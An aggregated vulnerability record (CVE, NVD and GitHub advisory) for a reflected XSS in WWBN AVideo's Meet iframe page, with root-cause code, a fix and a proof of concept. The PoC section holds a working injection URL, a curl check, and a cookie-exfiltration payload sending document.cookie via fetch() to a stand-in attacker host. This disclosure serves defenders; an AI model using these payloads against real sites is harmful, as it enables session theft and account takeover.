Vulnerability-Lookup

CVE-2026-43878 (GCVE-0-2026-43878)

Vulnerability from cvelistv5 – Published: 2026-05-11 20:35 – Updated: 2026-05-12 13:22

Title

WWBN AVideo: Reflected XSS in plugin/Meet/iframe.php via Unescaped `user`/`pass` Parameters Reflected into JavaScript String Literal

Summary

WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target. Commit 3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b contains an updated fix.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-12 13:22 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8129 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
https://github.com/WWBN/AVideo/commit/3298ced2bcf…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
WWBN	AVideo	Affected: <= 29.0	guessed

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-43878

Vulnerability from fkie_nvd - Published: 2026-05-11 22:22 - Updated: 2026-10-26 18:10

Severity

6.1 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/commit/3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-mm5f-8q57-4fc4
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/WWBN/AVideo/security/advisories/GHSA-mm5f-8q57-4fc4

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 29.0"
            }
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    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 29.0 inclusive, plugin/Meet/iframe.php imprime los par\u00e1metros de consulta user y pass controlados por el atacante sin escapar en un literal de cadena de JavaScript entre comillas dobles dentro de un bloque [script_tag]. Un atacante que env\u00eda a una v\u00edctima a una URL manipulada puede salir de la cadena y ejecutar JavaScript arbitrario en el navegador de la v\u00edctima en el contexto del origen de AVideo. No se requiere autenticaci\u00f3n si existe un calendario de Meet p\u00fablico en el objetivo. El commit 3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b contiene una correcci\u00f3n actualizada."
    }
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  "lastModified": "2026-10-26T18:10:00.173",
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}

GHSA-MM5F-8Q57-4FC4

Vulnerability from github – Published: 2026-05-05 19:15 – Updated: 2026-05-13 14:19

Summary

Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal

Details

Summary

plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.

Details

Root cause is a two-step reflection with no escaping applied at the HTML/JS sink.

Step 1 — User::loginFromRequestToGet() at objects/user.php:3363-3373 returns the raw concatenation of $_REQUEST['user'] and $_REQUEST['pass'] with no URL-encoding, HTML-escaping, or other sanitization:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user={$_REQUEST['user']}&pass={$_REQUEST['pass']}";
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Step 2 — plugin/Meet/iframe.php builds $readyToClose from that string and emits it into a JS string literal without escaping:

// plugin/Meet/iframe.php:19-22
$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19
$readyToClose = User::getChannelLink($meet->getUsers_id()) . "?{$userCredentials}";
if (Meet::isModerator($meet_schedule_id)) {
    $readyToClose = "{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}";
    ...
}

// plugin/Meet/iframe.php:115-117
function _readyToClose() {
    document.location = "<?php echo $readyToClose; ?>";
}

Note that xss_esc() IS applied a few lines earlier to the adjacent nameIdentification parameter (line 45) — the developer knew about XSS here but missed $userCredentials. No call to json_encode, htmlspecialchars, xss_esc, or rawurlencode is applied to $readyToClose.

Reachability to unauthenticated users. plugin/Meet/validateMeet.php gates on Meet::canJoinMeetWithReason() and Meet::validatePassword():

Meet::canJoinMeetWithReason() (plugin/Meet/Meet.php:399-402) returns canJoin=true for any visitor when the meet is public (getPublic() == "2"): php if ($meet->getPublic() == "2") { $obj->canJoin = true; $obj->reason = "Is public"; return $obj; }
Meet::validatePassword() (plugin/Meet/Meet.php:595-618) returns true when the meet has no password set.
validateMeet.php:27 only blocks unauthenticated users when getPublic() is empty.

So an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.

Payload construction. With user=";}alert(1);function a(){" and pass=x, the rendered script becomes:

function _readyToClose() {
    document.location = "CHANNEL_URL?user=";}alert(1);function a(){"&pass=x";
}

Parse flow: 1. document.location = "CHANNEL_URL?user="; — assignment completes. 2. } — closes _readyToClose. 3. alert(1); — executes immediately at script parse/run time (does NOT require _readyToClose to be called). 4. function a(){"&pass=x";} — declares a harmless function that absorbs the trailing garbage.

PoC

Precondition: one public Meet schedule with no password (or the attacker supplies &meet_password=<known> / is moderator/admin).

Attacker sends victim the following URL: https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x URL-decoded user payload: ";}alert(1);function a(){"
Server reflects the parameters unescaped into the script block on line 116.
Victim's browser parses the script; alert(1) fires immediately on page load.
Verification: $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \ | grep -A1 _readyToClose function _readyToClose() { document.location = "https://TARGET/channel/...?user=";}alert(1);function a(){"&pass=x"; The injected ";}alert(1);function a(){" sequence appears verbatim in the response, closing the JS string and function and executing alert(1) at parse time.
Realistic exploitation replaces alert(1) with a cookie-exfiltration payload: user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=x

Impact

Reflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:

Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just /plugin/Meet/).
Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).
Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).
Deliver phishing content under the trusted AVideo domain.

The attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.

Recommended Fix

Apply JSON encoding at the sink in plugin/Meet/iframe.php:116 so the string is always a valid JS literal regardless of its contents:

function _readyToClose() {
    document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
}

Additionally, harden User::loginFromRequestToGet() (objects/user.php:3363-3373) to URL-encode the components so downstream sinks cannot be broken out of with ", <, or other control characters:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user=" . rawurlencode($_REQUEST['user'])
                . "&pass=" . rawurlencode($_REQUEST['pass']);
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Audit every other caller of loginFromRequestToGet() (and any other function that returns raw $_REQUEST['user'] / $_REQUEST['pass']) for similar sinks.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43878"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T19:15:56Z",
    "nvd_published_at": "2026-05-11T22:22:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`plugin/Meet/iframe.php` echoes the attacker-controlled `user` and `pass` query parameters unescaped into a JavaScript double-quoted string literal inside a `\u003cscript\u003e` block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim\u0027s browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.\n\n## Details\n\nRoot cause is a two-step reflection with no escaping applied at the HTML/JS sink.\n\n**Step 1 \u2014 `User::loginFromRequestToGet()` at `objects/user.php:3363-3373`** returns the raw concatenation of `$_REQUEST[\u0027user\u0027]` and `$_REQUEST[\u0027pass\u0027]` with no URL-encoding, HTML-escaping, or other sanitization:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST[\u0027user\u0027]) \u0026\u0026 !empty($_REQUEST[\u0027pass\u0027])) {\n        $return = \"user={$_REQUEST[\u0027user\u0027]}\u0026pass={$_REQUEST[\u0027pass\u0027]}\";\n        if (!empty($_REQUEST[\u0027encodedPass\u0027])) {\n            $return .= \"\u0026encodedPass=\" . intval($_REQUEST[\u0027encodedPass\u0027]);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\n**Step 2 \u2014 `plugin/Meet/iframe.php`** builds `$readyToClose` from that string and emits it into a JS string literal without escaping:\n\n```php\n// plugin/Meet/iframe.php:19-22\n$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19\n$readyToClose = User::getChannelLink($meet-\u003egetUsers_id()) . \"?{$userCredentials}\";\nif (Meet::isModerator($meet_schedule_id)) {\n    $readyToClose = \"{$global[\u0027webSiteRootURL\u0027]}plugin/Meet/?{$userCredentials}\";\n    ...\n}\n```\n\n```php\n// plugin/Meet/iframe.php:115-117\nfunction _readyToClose() {\n    document.location = \"\u003c?php echo $readyToClose; ?\u003e\";\n}\n```\n\nNote that `xss_esc()` IS applied a few lines earlier to the adjacent `nameIdentification` parameter (line 45) \u2014 the developer knew about XSS here but missed `$userCredentials`. No call to `json_encode`, `htmlspecialchars`, `xss_esc`, or `rawurlencode` is applied to `$readyToClose`.\n\n**Reachability to unauthenticated users.** `plugin/Meet/validateMeet.php` gates on `Meet::canJoinMeetWithReason()` and `Meet::validatePassword()`:\n\n- `Meet::canJoinMeetWithReason()` (`plugin/Meet/Meet.php:399-402`) returns `canJoin=true` for any visitor when the meet is public (`getPublic() == \"2\"`):\n  ```php\n  if ($meet-\u003egetPublic() == \"2\") {\n      $obj-\u003ecanJoin = true;\n      $obj-\u003ereason = \"Is public\";\n      return $obj;\n  }\n  ```\n- `Meet::validatePassword()` (`plugin/Meet/Meet.php:595-618`) returns `true` when the meet has no password set.\n- `validateMeet.php:27` only blocks unauthenticated users when `getPublic()` is empty.\n\nSo an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.\n\n**Payload construction.** With `user=\";}alert(1);function a(){\"` and `pass=x`, the rendered script becomes:\n\n```javascript\nfunction _readyToClose() {\n    document.location = \"CHANNEL_URL?user=\";}alert(1);function a(){\"\u0026pass=x\";\n}\n```\n\nParse flow:\n1. `document.location = \"CHANNEL_URL?user=\";` \u2014 assignment completes.\n2. `}` \u2014 closes `_readyToClose`.\n3. `alert(1);` \u2014 executes immediately at script parse/run time (does NOT require `_readyToClose` to be called).\n4. `function a(){\"\u0026pass=x\";}` \u2014 declares a harmless function that absorbs the trailing garbage.\n\n## PoC\n\n**Precondition:** one public Meet schedule with no password (or the attacker supplies `\u0026meet_password=\u003cknown\u003e` / is moderator/admin).\n\n1. Attacker sends victim the following URL:\n   ```\n   https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1\u0026user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22\u0026pass=x\n   ```\n   URL-decoded `user` payload: `\";}alert(1);function a(){\"`\n\n2. Server reflects the parameters unescaped into the script block on line 116.\n\n3. Victim\u0027s browser parses the script; `alert(1)` fires immediately on page load.\n\n4. Verification:\n   ```\n   $ curl -s \u0027https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1\u0026user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22\u0026pass=x\u0027 \\\n       | grep -A1 _readyToClose\n   function _readyToClose() {\n       document.location = \"https://TARGET/channel/...?user=\";}alert(1);function a(){\"\u0026pass=x\";\n   ```\n   The injected `\";}alert(1);function a(){\"` sequence appears verbatim in the response, closing the JS string and function and executing `alert(1)` at parse time.\n\n5. Realistic exploitation replaces `alert(1)` with a cookie-exfiltration payload:\n   ```\n   user=%22%3B%7Dfetch(\u0027https%3A%2F%2Fattacker%2Fc%3D\u0027%2Bdocument.cookie)%3Bfunction%20a()%7B%22\u0026pass=x\n   ```\n\n## Impact\n\nReflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:\n\n- Steal the victim\u0027s session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just `/plugin/Meet/`).\n- Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password \u2192 account takeover).\n- Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).\n- Deliver phishing content under the trusted AVideo domain.\n\nThe attack is unauthenticated on any install that has at least one public, no-password Meet schedule \u2014 which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.\n\n## Recommended Fix\n\nApply JSON encoding at the sink in `plugin/Meet/iframe.php:116` so the string is always a valid JS literal regardless of its contents:\n\n```php\nfunction _readyToClose() {\n    document.location = \u003c?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?\u003e;\n}\n```\n\nAdditionally, harden `User::loginFromRequestToGet()` (`objects/user.php:3363-3373`) to URL-encode the components so downstream sinks cannot be broken out of with `\"`, `\u003c`, or other control characters:\n\n```php\npublic static function loginFromRequestToGet()\n{\n    if (!empty($_REQUEST[\u0027user\u0027]) \u0026\u0026 !empty($_REQUEST[\u0027pass\u0027])) {\n        $return = \"user=\" . rawurlencode($_REQUEST[\u0027user\u0027])\n                . \"\u0026pass=\" . rawurlencode($_REQUEST[\u0027pass\u0027]);\n        if (!empty($_REQUEST[\u0027encodedPass\u0027])) {\n            $return .= \"\u0026encodedPass=\" . intval($_REQUEST[\u0027encodedPass\u0027]);\n        }\n        return $return;\n    }\n    return \"\";\n}\n```\n\nAudit every other caller of `loginFromRequestToGet()` (and any other function that returns raw `$_REQUEST[\u0027user\u0027]` / `$_REQUEST[\u0027pass\u0027]`) for similar sinks.",
  "id": "GHSA-mm5f-8q57-4fc4",
  "modified": "2026-05-13T14:19:47Z",
  "published": "2026-05-05T19:15:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-mm5f-8q57-4fc4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43878"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Video: Reflected XSS in plugin/Meet/iframe.php via Unescaped user and pass Parameters in JavaScript String Literal"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-43878 (GCVE-0-2026-43878)

FKIE_CVE-2026-43878

GHSA-MM5F-8Q57-4FC4

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